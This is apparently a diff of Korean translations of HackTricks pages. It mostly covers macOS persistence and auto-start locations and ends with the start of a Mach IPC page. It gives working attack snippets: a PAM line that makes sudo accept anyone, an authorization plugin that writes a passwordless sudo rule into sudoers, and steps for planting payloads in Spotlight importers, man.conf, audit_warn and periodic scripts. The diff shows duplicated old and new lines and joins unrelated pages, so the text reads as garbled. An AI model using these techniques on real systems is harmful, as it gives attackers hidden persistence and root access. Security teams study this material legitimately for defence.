Spotlight의 기본 메커니즘은 'mds'라는 중앙 프로세스를 포함하며, 이는 **'메타데이터 서버'**를 나타냅니다. 이 프로세스는 Spotlight 서비스 전체를 조정합니다. 이를 보완하기 위해 여러 'mdworker' 데몬이 다양한 유지 관리 작업을 수행하며, 다양한 파일 형식을 색인화합니다 (`ps -ef | grep mdworker`). 이러한 작업은 Spotlight 가져오기 플러그인 또는 **".mdimporter 번들**"을 통해 가능하며, 이를 통해 Spotlight은 다양한 파일 형식의 콘텐츠를 이해하고 색인화할 수 있습니다.
|
||||
|
||||
플러그인 또는 **`.mdimporter`** 번들은 이전에 언급된 위치에 있으며 새 번들이 나타나면 분 내에 로드됩니다(서비스를 다시 시작할 필요 없음). 이러한 번들은 관리할 수 있는 **파일 유형 및 확장자를 나타내야**하며, 이렇게 하면 Spotlight은 지정된 확장자를 가진 새 파일이 생성될 때 이를 사용합니다.
|
||||
플러그인 또는 **`.mdimporter`** 번들은 이전에 언급된 위치에 있으며 새 번들이 나타나면 분 내에 로드됩니다(서비스를 다시 시작할 필요 없음). 이러한 번들은 관리할 수 있는 **파일 유형 및 확장자를 나타내야**하며, 이렇게 하면 Spotlight은 지정된 확장자를 가진 새 파일이 생성될 때 해당 번들을 사용합니다.
|
||||
|
||||
모든 로드된 `mdimporters`를 찾을 수 있습니다. 실행 중:
|
||||
로드된 **모든 `mdimporters`**를 찾을 수 있습니다. 실행:
|
||||
```bash
|
||||
mdimport -L
|
||||
Paths: id(501) (
|
||||
|
@ -1157,15 +1185,15 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
|
|||
[...]
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
만약 다른 `mdimporter`의 Plist를 확인하면 **`UTTypeConformsTo`** 항목을 찾을 수 없을 수 있습니다. 이는 내장 _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier))이기 때문에 확장자를 지정할 필요가 없기 때문입니다.
|
||||
만약 다른 `mdimporter`의 Plist를 확인하면 **`UTTypeConformsTo`** 항목을 찾을 수 없을 수 있습니다. 이것은 내장 _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier))이기 때문에 확장자를 지정할 필요가 없습니다.
|
||||
|
||||
또한, 시스템 기본 플러그인이 항상 우선권을 갖기 때문에, 공격자는 애플의 자체 `mdimporters`에 의해 인덱싱되지 않은 파일에만 액세스할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
자체 Importer를 만들려면 이 프로젝트를 시작할 수 있습니다: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) 그리고 이름을 변경하고, **`CFBundleDocumentTypes`**를 변경하고 **`UTImportedTypeDeclarations`**를 추가하여 지원하려는 확장자를 지원하도록하고 **`schema.xml`**에서 이를 반영하십시오.\
|
||||
자체 importer를 만들려면 이 프로젝트를 시작할 수 있습니다: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) 그리고 이름을 변경하고, **`CFBundleDocumentTypes`**를 변경하고 **`UTImportedTypeDeclarations`**를 추가하여 지원하려는 확장자를 지원하도록하고 **`schema.xml`**에서 이를 반영하십시오.\
|
||||
그런 다음 **`GetMetadataForFile`** 함수의 코드를 **변경**하여 처리된 확장자가 포함된 파일이 생성될 때 페이로드를 실행하도록합니다.
|
||||
|
||||
마지막으로 새로운 `.mdimporter`를 빌드하고 복사하여 이전 위치 중 하나에 붙여넣고 **로드되었는지 확인할 수 있습니다.** **로그를 모니터링**하거나 **`mdimport -L.`**을 확인하십시오.
|
||||
마지막으로 새로운 `.mdimporter`를 빌드하고 복사하여 이전 위치 중 하나에 붙여넣고 **로그를 모니터링**하거나 **`mdimport -L`**을 확인하여 로드될 때마다 확인할 수 있습니다.
|
||||
|
||||
### ~~Preference Pane~~
|
||||
|
||||
|
@ -1192,7 +1220,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
|
|||
## Root Sandbox Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
여기에서는 **루트**로 **파일에 쓰기**만으로 **무언가를 실행**할 수 있는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이는 **루트**이거나 다른 **이상한 조건**을 요구합니다.
|
||||
여기에서는 **sandbox 우회**에 유용한 시작 위치를 찾을 수 있습니다. **루트**로 **파일에 쓰기**만으로 무언가를 실행할 수 있게 해주며 다른 **이상한 조건**이 필요합니다.
|
||||
{% endhint %}
|
||||
|
||||
### 주기적
|
||||
|
@ -1214,7 +1242,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevilbit.
|
|||
|
||||
#### 설명 및 이용
|
||||
|
||||
주기적 스크립트인 **`/etc/periodic`**은 `/System/Library/LaunchDaemons/com.apple.periodic*`에 구성된 **런치 데몬**으로 실행됩니다. `/etc/periodic/`에 저장된 스크립트는 파일의 소유자로 **실행**되기 때문에 잠재적인 권한 상승에는 작동하지 않습니다.
|
||||
주기적 스크립트 (**`/etc/periodic`**)는 `/System/Library/LaunchDaemons/com.apple.periodic*`에 구성된 **launch daemons** 덕분에 실행됩니다. `/etc/periodic/`에 저장된 스크립트는 파일의 소유자로 **실행**되므로 잠재적인 권한 상승에는 작동하지 않습니다.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Launch daemons that will execute the periodic scripts
|
||||
|
@ -1255,10 +1283,10 @@ daily_local="/etc/daily.local" # Local scripts
|
|||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
만약 `/etc/daily.local`, `/etc/weekly.local`, 또는 `/etc/monthly.local` 파일 중 하나를 작성한다면 **결국 실행**될 것입니다.
|
||||
만약 `/etc/daily.local`, `/etc/weekly.local`, 또는 `/etc/monthly.local` 파일 중 하나를 작성한다면 **결국 실행될 것**입니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
주기적인 스크립트는 **스크립트의 소유자로 실행**됩니다. 따라서 일반 사용자가 스크립트를 소유하고 있다면 해당 사용자로 실행될 것입니다 (이는 권한 상승 공격을 방지할 수 있음).
|
||||
주기적인 스크립트는 **스크립트의 소유자로 실행**됩니다. 따라서 일반 사용자가 스크립트를 소유하고 있다면 해당 사용자로 실행됩니다 (이는 권한 상승 공격을 방지할 수 있음).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
@ -1276,15 +1304,15 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
|
|||
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
PAM은 macOS 내에서 쉬운 실행보다는 **지속성**과 악성 코드에 더 중점을 둔다. 이 블로그에서는 이 기술을 더 잘 이해하기 위해 자세한 설명을 제공하지 않습니다. **기술 설명을 읽어보세요**.
|
||||
PAM은 macOS 내에서 쉬운 실행보다는 **지속성**과 악성 코드에 더 중점을 둔다. 이 블로그에서는 이 기술을 더 잘 이해하기 위해 자세한 설명을 제공하지 않습니다. **기술 설명을 이해하려면 해당 글을 읽어보세요**.
|
||||
|
||||
PAM 모듈을 확인하려면:
|
||||
```bash
|
||||
ls -l /etc/pam.d
|
||||
```
|
||||
## macOS Auto Start Locations
|
||||
### macOS Auto Start Locations
|
||||
|
||||
PAM을 남용한 지속성/권한 상승 기법은 /etc/pam.d/sudo 모듈을 수정하여 다음 줄을 맨 앞에 추가하는 것만큼 쉽습니다:
|
||||
퍼시스턴스/권한 상승 기법은 PAM을 악용하는 것이 매우 쉽습니다. /etc/pam.d/sudo 모듈을 수정하여 다음 줄을 맨 앞에 추가하는 것만으로 가능합니다:
|
||||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
|
@ -1322,7 +1350,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
|
|||
|
||||
#### 설명 및 악용
|
||||
|
||||
사용자가 로그인할 때 실행되는 권한 플러그인을 생성하여 지속성을 유지할 수 있습니다. 이러한 플러그인 중 하나를 생성하는 방법에 대한 자세한 정보는 이전의 writeup을 확인하십시오 (잘못 작성된 플러그인은 사용자를 잠금 상태로 만들 수 있으며 복구 모드에서 Mac을 정리해야 할 수 있습니다).
|
||||
사용자가 로그인할 때 실행되는 권한 플러그인을 생성하여 지속성을 유지할 수 있습니다. 이러한 플러그인 중 하나를 생성하는 방법에 대한 자세한 정보는 이전의 writeup을 확인하십시오 (그리고 조심하세요, 잘못 작성된 플러그인은 잠길 수 있으며 복구 모드에서 Mac을 정리해야 할 수도 있습니다).
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1337,7 +1365,7 @@ NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
|
|||
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
|
||||
}
|
||||
```
|
||||
**번들**을 로드할 위치로 **이동**하십시오:
|
||||
**번들**을 로드될 위치로 **이동**하세요:
|
||||
```bash
|
||||
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
|
||||
```
|
||||
|
@ -1360,13 +1388,13 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
**`evaluate-mechanisms`**은 인가 프레임워크에게 **외부 메커니즘을 호출해 인가를 처리해야 한다**고 알려줍니다. 또한 **`privileged`**는 이를 루트로 실행하도록 만듭니다.
|
||||
**`evaluate-mechanisms`**은 인가 프레임워크에게 **외부 메커니즘을 호출해야 한다는 것을 알려줍니다**. 더불어 **`privileged`**는 루트(root)에 의해 실행되도록 만듭니다.
|
||||
|
||||
다음과 같이 트리거합니다:
|
||||
다음과 같이 트리거(trigger)합니다:
|
||||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
그런 다음 **스태프 그룹은 sudo에 액세스**해야 합니다(`/etc/sudoers`를 읽어 확인).
|
||||
그런 다음 **스태프 그룹은 sudo 액세스**를 가져야 합니다 (`/etc/sudoers`를 읽어 확인).
|
||||
|
||||
### Man.conf
|
||||
|
||||
|
@ -1380,11 +1408,11 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.
|
|||
|
||||
* **`/private/etc/man.conf`**
|
||||
* 루트 권한 필요
|
||||
* **`/private/etc/man.conf`**: man을 사용할 때마다
|
||||
* **`/private/etc/man.conf`**: man을 사용할 때
|
||||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
구성 파일 **`/private/etc/man.conf`**은 man 문서 파일을 열 때 사용할 이진/스크립트를 나타냅니다. 따라서 실행 파일의 경로를 수정하여 사용자가 man을 사용하여 문서를 읽을 때마다 백도어가 실행될 수 있습니다.
|
||||
구성 파일 **`/private/etc/man.conf`**은 man 문서 파일을 열 때 사용할 이진/스크립트를 나타냅니다. 따라서 실행 파일의 경로를 수정하여 사용자가 문서를 읽기 위해 man을 사용할 때마다 백도어가 실행될 수 있습니다.
|
||||
|
||||
예를 들어 **`/private/etc/man.conf`**에 설정:
|
||||
```
|
||||
|
@ -1423,7 +1451,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
이렇게하면 Apache가 컴파일된 모듈을 로드합니다. 유일한 것은 **유효한 Apple 인증서로 서명**해야하거나 시스템에 **신뢰할 수있는 새 인증서를 추가**하고 해당 인증서로 **서명**해야합니다.
|
||||
이렇게하면 Apache가 컴파일된 모듈을로드합니다. 유일한 것은 **유효한 Apple 인증서로 서명**해야하거나 시스템에 **신뢰할 수있는 새 인증서를 추가**하고 해당 인증서로 **서명**해야합니다.
|
||||
|
||||
그런 다음 필요한 경우 서버가 시작되도록하려면 다음을 실행할 수 있습니다:
|
||||
```bash
|
||||
|
@ -1443,7 +1471,7 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
```
|
||||
### BSM 감사 프레임워크
|
||||
|
||||
설명: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0031/](https://theevilbit.github.io/beyond/beyond\_0031/)
|
||||
|
||||
* 샌드박스 우회에 유용: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 그러나 루트 권한이 필요하며, auditd가 실행 중이어야 하며 경고를 유발해야 함
|
||||
|
@ -1453,11 +1481,11 @@ syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
|
|||
|
||||
* **`/etc/security/audit_warn`**
|
||||
* 루트 권한 필요
|
||||
* **트리거**: auditd가 경고를 감지했을 때
|
||||
* **트리거**: auditd가 경고를 감지할 때
|
||||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
auditd가 경고를 감지하면 스크립트 **`/etc/security/audit_warn`**이 **실행**됩니다. 따라서 여기에 페이로드를 추가할 수 있습니다.
|
||||
auditd가 경고를 감지할 때 스크립트 **`/etc/security/audit_warn`**이 **실행**됩니다. 따라서 여기에 페이로드를 추가할 수 있습니다.
|
||||
```bash
|
||||
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
||||
```
|
||||
|
@ -1472,7 +1500,7 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
1. **rc 스크립트**: 시작할 때 실행되는 셸 스크립트입니다.
|
||||
2. **plist 파일**, 특히 `StartupParameters.plist`로 명명된 파일로 다양한 구성 설정을 포함합니다.
|
||||
|
||||
시작 프로세스가 이러한 파일을 인식하고 활용할 수 있도록 시작 항목 디렉토리 내에 rc 스크립트와 `StartupParameters.plist` 파일이 올바르게 배치되었는지 확인하세요.
|
||||
시작 프로세스가 이러한 파일을 인식하고 활용할 수 있도록 **StartupItem** 디렉토리 내에 rc 스크립트와 `StartupParameters.plist` 파일이 올바르게 배치되었는지 확인하세요.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
|
@ -1494,24 +1522,14 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
macOS Auto Start Locations
|
||||
--------------------------
|
||||
**superservicename**
|
||||
|
||||
macOS provides several locations where programs can be configured to automatically start when a user logs in. These locations include:
|
||||
|
||||
1. **Login Items**: Found in System Preferences > Users & Groups > Login Items. Users can add or remove programs from this list.
|
||||
|
||||
2. **Launch Agents**: Located in `~/Library/LaunchAgents` and `/Library/LaunchAgents`. These are specific to a user or all users and are loaded when a user logs in.
|
||||
|
||||
3. **Launch Daemons**: Found in `/Library/LaunchDaemons` and are loaded at system startup, regardless of user login.
|
||||
|
||||
4. **Startup Items**: Deprecated since macOS 10.7, but still supported in some cases. Found in `/Library/StartupItems`.
|
||||
|
||||
It is important to regularly review these auto start locations to ensure that only necessary and trusted programs are set to automatically run at login. This can help improve system performance and security.
|
||||
|
||||
{% endtab %}
|
||||
- **Location:** `/Library/LaunchDaemons/`
|
||||
- **Description:** This plist file is responsible for launching the superservicename service during system startup. It runs with root privileges and can be used to execute malicious commands or programs if compromised.
|
||||
- **Impact:** An attacker who gains control over the superservicename plist file can persistently maintain access to the system and execute unauthorized actions with elevated privileges.
|
||||
- **Mitigation:** Regularly monitor the `/Library/LaunchDaemons/` directory for unauthorized or suspicious plist files. Implement proper file permissions and integrity checks to prevent unauthorized modifications to these files.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
@ -1536,12 +1554,12 @@ RunService "$1"
|
|||
### emond
|
||||
|
||||
{% hint style="danger" %}
|
||||
내 macOS에서 이 구성 요소를 찾을 수 없습니다. 자세한 정보는 writeup을 확인하십시오.
|
||||
내 macOS에서 이 구성 요소를 찾을 수 없습니다. 자세한 정보는 writeup을 확인하세요.
|
||||
{% endhint %}
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Apple에 의해 소개된 **emond**는 개발이 미비하거나 아마도 폐기된 것으로 보이지만 여전히 접근 가능합니다. Mac 관리자에게 특별히 유익하지는 않지만, 이 낯선 서비스는 위협 행위자에게 미묘한 지속성 방법으로 작용할 수 있으며, 아마도 대부분의 macOS 관리자들에게는 눈에 띄지 않을 것입니다.
|
||||
Apple에 의해 소개된 **emond**는 개발이 미비하거나 아마도 버려진 것으로 보이지만 여전히 접근 가능합니다. Mac 관리자에게 특별히 유익하지는 않지만, 이 낯선 서비스는 위협 행위자를 위한 미묘한 지속성 방법으로 작용할 수 있으며, 아마도 대부분의 macOS 관리자들에게는 눈에 띄지 않을 것입니다.
|
||||
|
||||
**emond**의 악용을 인식하는 데 익숙한 사람들에게는 간단합니다. 이 서비스의 LaunchDaemon은 실행할 스크립트를 단일 디렉토리에서 찾습니다. 이를 검사하려면 다음 명령을 사용할 수 있습니다:
|
||||
```bash
|
||||
|
@ -1564,7 +1582,7 @@ XQuartz는 **더 이상 macOS에 설치되지 않으므로**, 자세한 정보
|
|||
### ~~kext~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
루트로 심지어 kext를 설치하는 것이 너무 복잡하여 이를 모래 상자를 탈출하거나 영속성을 위해 고려하지 않겠습니다 (exploit이 있는 경우 제외)
|
||||
루트로 심지어 kext를 설치하는 것은 매우 복잡하기 때문에 이를 샌드박스를 탈출하거나 지속성을 위해 고려하지 않겠습니다 (exploit이 있는 경우 제외)
|
||||
{% endhint %}
|
||||
|
||||
#### 위치
|
||||
|
@ -1584,6 +1602,8 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
|||
kextunload /path/to/kext.kext
|
||||
kextunload -b com.apple.driver.ExampleBundle
|
||||
```
|
||||
[**커널 확장에 대한 자세한 정보는 이 섹션을 확인하세요**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
|
||||
### ~~amstoold~~
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.github.io/beyond/beyond\_0029/)
|
||||
|
@ -1595,9 +1615,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevilbit.
|
|||
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
`/System/Library/LaunchAgents/com.apple.amstoold.plist`의 `plist`이 이 바이너리를 사용하고 있었지만, 이 바이너리는 실제로 존재하지 않았습니다. 따라서 여기에 어떤 것을 넣어두면 XPC 서비스가 호출될 때 당신의 바이너리가 실행됩니다.
|
||||
`/System/Library/LaunchAgents/com.apple.amstoold.plist`의 `plist`가이 바이너리를 사용하고 있었지만 XPC 서비스를 노출하는 동안... 문제는 바이너리가 존재하지 않았기 때문에 거기에 무언가를 놓을 수 있고 XPC 서비스가 호출될 때 바이너리가 호출됩니다.
|
||||
|
||||
나는 이제 macOS에서 이를 찾을 수 없습니다.
|
||||
나는 더 이상 내 macOS에서 이것을 찾을 수 없다.
|
||||
|
||||
### ~~xsanctl~~
|
||||
|
||||
|
@ -1611,7 +1631,15 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0015/](https://theevilbit.
|
|||
|
||||
#### 설명 및 exploit
|
||||
|
||||
이 스크립트를 실행하는 것은 매우 흔하지 않으며, 나는 실제로 macOS에서 이를 찾을 수 없었습니다. 자세한 정보가 필요하다면 해당 writeup을 확인하십시오.
|
||||
이 스크립트를 실행하는 것은 매우 흔하지 않은 것으로 보이며, 내 macOS에서 심지어 찾을 수 없었으므로 자세한 정보가 필요하다면 writeup을 확인하십시오.
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
**현대 MacOS 버전에서 작동하지 않습니다**
|
||||
{% endhint %}
|
||||
|
||||
여기에 **부팅시 실행될 명령어를 배치하는 것도 가능합니다.** 일반적인 rc.common 스크립트의 예시:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
@ -1711,14 +1739,14 @@ esac
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,10 +7,10 @@
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**하여 해킹 트릭을 공유하세요.
|
||||
* 💬 **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**을 통해 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,64 +18,64 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 기본 정보
|
||||
|
||||
Mach는 **작업**을 **리소스 공유의 가장 작은 단위**로 사용하며, 각 작업에는 **여러 스레드**가 포함될 수 있습니다. 이러한 **작업과 스레드는 POSIX 프로세스와 스레드에 1:1로 매핑**됩니다.
|
||||
Mach는 **리소스 공유를 위한 가장 작은 단위로 작업**을 사용하며, 각 작업에는 **여러 스레드**가 포함될 수 있습니다. 이러한 **작업과 스레드는 1:1로 POSIX 프로세스와 스레드에 매핑**됩니다.
|
||||
|
||||
작업 간 통신은 Mach 프로세스 간 통신 (IPC)을 통해 이루어지며, **커널이 관리하는 메시지 큐처럼 작동하는 포트 간에 메시지가 전송**됩니다.
|
||||
|
||||
각 프로세스에는 **IPC 테이블**이 있어 **프로세스의 mach 포트**를 찾을 수 있습니다. Mach 포트의 이름은 실제로 숫자(커널 객체를 가리키는 포인터)입니다.
|
||||
|
||||
프로세스는 또한 **일부 권한을 가진 포트 이름을 다른 작업에게 보낼 수 있으며**, 커널은 이를 다른 작업의 **IPC 테이블에 등록**합니다.
|
||||
프로세스는 또한 **다른 작업에게 일부 권한을 가진 포트 이름을 보낼 수 있으며, 커널은 다른 작업의 IPC 테이블에 이 항목을 표시**합니다.
|
||||
|
||||
### 포트 권한
|
||||
|
||||
작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신에 중요합니다. 가능한 **포트 권한**은 ([여기에서 정의된 내용](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신에 중요합니다. 가능한 **포트 권한**은 ([여기에서 정의됨](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **수신 권한**은 포트로 전송된 메시지를 수신할 수 있게 합니다. Mach 포트는 MPSC (다중 생산자, 단일 소비자) 큐이므로 전체 시스템에서 각 포트에 대해 **하나의 수신 권한만** 있을 수 있습니다 (여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 디스크립터를 모두 보유할 수 있는 파이프와는 달리).
|
||||
* **수신 권한을 가진 작업**은 메시지를 수신하고 **송신 권한을 생성**할 수 있어 메시지를 보낼 수 있습니다. 처음에는 **자체 작업이 자체 포트에 대한 수신 권한**만 가지고 있습니다.
|
||||
* **수신 권한**은 포트로 전송된 메시지를 수신할 수 있게 합니다. Mach 포트는 MPSC (다중 생산자, 단일 소비자) 큐이므로 전체 시스템에서 각 포트에 대해 **하나의 수신 권한만 있을 수** 있습니다 (여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 기술자를 모두 보유할 수 있는 파이프와는 달리).
|
||||
* **수신 권한을 가진 작업**은 메시지를 수신하고 **송신 권한을 생성**할 수 있으며, 처음에는 **자체 작업이 자신의 포트에 대한 수신 권한**만 가지고 있습니다.
|
||||
* **송신 권한**은 포트로 메시지를 보낼 수 있게 합니다.
|
||||
* 송신 권한은 복제될 수 있어 송신 권한을 소유한 작업이 권한을 복제하고 **세 번째 작업에게 부여**할 수 있습니다.
|
||||
* **한 번 송신 권한**은 포트로 한 번의 메시지를 보낼 수 있고 그 후 사라집니다.
|
||||
* 송신 권한은 복제될 수 있어 송신 권한을 소유한 작업이 권한을 복제하고 **제3의 작업에게 부여**할 수 있습니다.
|
||||
* **한 번 송신 권한**은 포트로 한 번 메시지를 보낼 수 있고 그 후 사라집니다.
|
||||
* **포트 세트 권한**은 단일 포트가 아닌 _포트 세트_를 나타냅니다. 포트 세트에서 메시지를 디큐하는 것은 해당 포트 중 하나에서 메시지를 디큐합니다. 포트 세트는 Unix의 `select`/`poll`/`epoll`/`kqueue`와 매우 유사하게 여러 포트에서 동시에 수신할 수 있습니다.
|
||||
* **데드 네임**은 실제 포트 권한이 아니라 단순히 자리 표시자입니다. 포트가 파괴되면 포트에 대한 모든 기존 포트 권한이 데드 네임으로 변합니다.
|
||||
* **데드 네임**은 실제 포트 권한이 아니라 단순히 자리 표시자입니다. 포트가 파괴되면 포트에 대한 모든 기존 포트 권한이 데드 네임으로 변환됩니다.
|
||||
|
||||
**작업은 다른 작업에게 송신 권한을 전달**하여 메시지를 다시 보낼 수 있습니다. **송신 권한은 복제될 수 있어 작업이 권한을 복제하고 세 번째 작업에게 권한을 부여**할 수 있습니다. 이는 **부트스트랩 서버**라는 중간 프로세스와 결합되어 작업 간 효과적인 통신을 가능하게 합니다.
|
||||
**작업은 송신 권한을 다른 작업에게 전달**하여 메시지를 다시 보낼 수 있습니다. **송신 권한은 복제될 수 있어 작업이 권한을 복제하고 제3의 작업에게 권한을 부여**할 수 있습니다. 이는 **부트스트랩 서버**라는 중간 프로세스와 결합되어 작업 간 효과적인 통신을 가능케 합니다.
|
||||
|
||||
### 파일 포트
|
||||
|
||||
파일 포트를 사용하면 Mac 포트(맥 포트 권한을 사용)에 파일 디스크립터를 캡슐화할 수 있습니다. 주어진 FD에서 `fileport_makeport`를 사용하여 `fileport`를 만들고 `fileport_makefd`를 사용하여 fileport에서 FD를 만들 수 있습니다.
|
||||
파일 포트를 사용하면 Mac 포트(맥 포트 권한 사용)에 파일 기술자를 캡슐화할 수 있습니다. 주어진 FD를 사용하여 `fileport_makeport`를 사용하여 `fileport`를 만들고 `fileport_makefd`를 사용하여 fileport에서 FD를 만들 수 있습니다.
|
||||
|
||||
### 통신 설정
|
||||
|
||||
#### 단계:
|
||||
|
||||
통신 채널을 설정하려면 **부트스트랩 서버**(mac의 **launchd**)가 관여합니다.
|
||||
통신 채널을 설정하려면 **부트스트랩 서버**(mac의 **launchd**)가 관여됩니다.
|
||||
|
||||
1. 작업 **A**는 **새 포트**를 시작하여 프로세스에서 **수신 권한**을 획득합니다.
|
||||
2. 수신 권한을 보유한 작업 **A**는 포트에 대한 **송신 권한을 생성**합니다.
|
||||
